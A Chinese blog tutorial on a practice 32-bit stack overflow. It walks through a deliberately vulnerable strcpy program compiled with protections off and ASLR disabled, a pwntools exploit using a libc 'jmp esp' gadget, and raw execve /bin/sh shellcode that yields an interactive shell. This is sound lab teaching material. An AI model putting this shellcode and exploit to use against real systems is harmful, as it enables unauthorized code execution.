棧溢出練習

一,工具安裝

pwntools工具安裝
$ sudo apt-get update
$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ sudo pip install --upgrade pip
$ sudo pip install --upgrade pwntools

gcc/gdb安裝
$ sudo apt-get install gcc/gdb

peda安裝
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit    

二,程序

源碼文件名為:StackOF.c
#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

可以看到,其是將main函數里的buffer作為msg傳入vul函數里,然后拷貝到vul中的buffer,但是main函數中buffer大小為256,而vul函數中buffer的大小為64,這就是問題所在。

為了調試方便把保護操作關閉

gcc編譯:gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme StackOF.c

-m32:生成32位的可執行文件
-no-pie:關閉程序ASLR/PIE(程序隨機化保護)
-fno-stack-protector:關閉Stack Protector/Canary(棧保護)
-z execstack:關閉DEP/NX(堆棧不可執行)
-o:輸出
pwnme:編譯生成文件的文件名
StackOF.c:編譯前的源文件
嘗試運行pwnme
觀察分析所開啟的漏洞緩解策略
最好加一條命令關閉系統的的地址隨機化

echo 0 > /proc/sys/kernel/randomize_va_space

三,思路

由源碼可知該棧溢出漏洞的原因是在調用strcpy之前未對源字符串的長度進行安全檢查。結果就是用戶輸入過長時,會向高地址覆蓋。

那我們可以布局成

假設jmp esp的地址為0x12345678,在運行到原返回地址位置也就是0x12345678時,會執行0x12345678處的指令,也就是jmp esp,同時esp+4,這時esp就指向了shellcode的起始位置,jmp esp一執行,接下來就是執行shellcode,如圖:

所以要構造的buffer = 填充字符 + jmp_esp +shellcode

四,具體解決分析

jmp esp咋整呢?這個我們可以去libc文件中查找(libc是個啥?),c編寫的程序都要加載libc文件.

1.libc怎么找?

首先,我們先查看加載的libc文件是什么版本
打開gdb調試pwnme

直接在main函數上下斷點

然后r運行,加載程序,在斷點斷下

輸入 info sharedlibraryi sharedlibrary

這個時候你就找到了(- _-)!!!

2.找到jmp esplibc中的地址:jmp_esp_addr_offset

很簡單,上代碼

from pwn import *

libc = ELF('/lib32/libc.so.6')                                #文件
jmp_esp = asm('jmp esp')                                      #jmp esp匯編指令的操作數

jmp_esp_addr_in_libc = libc.search(jmp_esp).next()            #搜索

print hex(jmp_esp_addr_in_libc)                               #打印

效果


但但但但是!!!!這還沒完,這個地址只是jmp esplibc文件里的位置(也叫偏移地址,在最終代碼將命名為jmp_esp_addr_offset),要知道其在程序里的地址還要加上libc在程序里的起始地址(也叫基址,在最終代碼將命名為libc_base),所以jmp esp在程序里的地址 : jmp_esp_addr = jmp_esp_addr_offset+libc_base,結合圖解一下

3,找libc在程序里的地址:libc_base

輸入指令LD_TRACE_LOADED_OBJECTS=1 ./pwnme可以得到加載位置

4.編寫shellcode

通過調用系統調用獲得shell
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

五,最終代碼

from pwn import *

p = process('./pwnme')                    #運行程序
p.recvuntil("shellcode:")                 #當接受到字符串'shellcode:'

#找jmp_esp_addr_offset,見本文第四節第二點
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7dd1000                              #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

#構造布局,本文第三節
buf = 'A'*76                                                     #如何得到填充數據大小:http://www.lxweimin.com/p/278f8d1f8322
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
    f.write(buf)

p.sendline(buf)                                                #發送構造后的buf

p.interactive()

六,效果


輸入whoami測試一下


發現為root用戶,已經可以產生交互。
附上相關文章一篇:http://www.mamicode.com/info-detail-2232012.htm

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,333評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,491評論 3 416
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,263評論 0 374
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,946評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,708評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,186評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,255評論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,409評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,939評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,774評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,976評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,518評論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,209評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,641評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,872評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,650評論 3 391
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,958評論 2 373

推薦閱讀更多精彩內容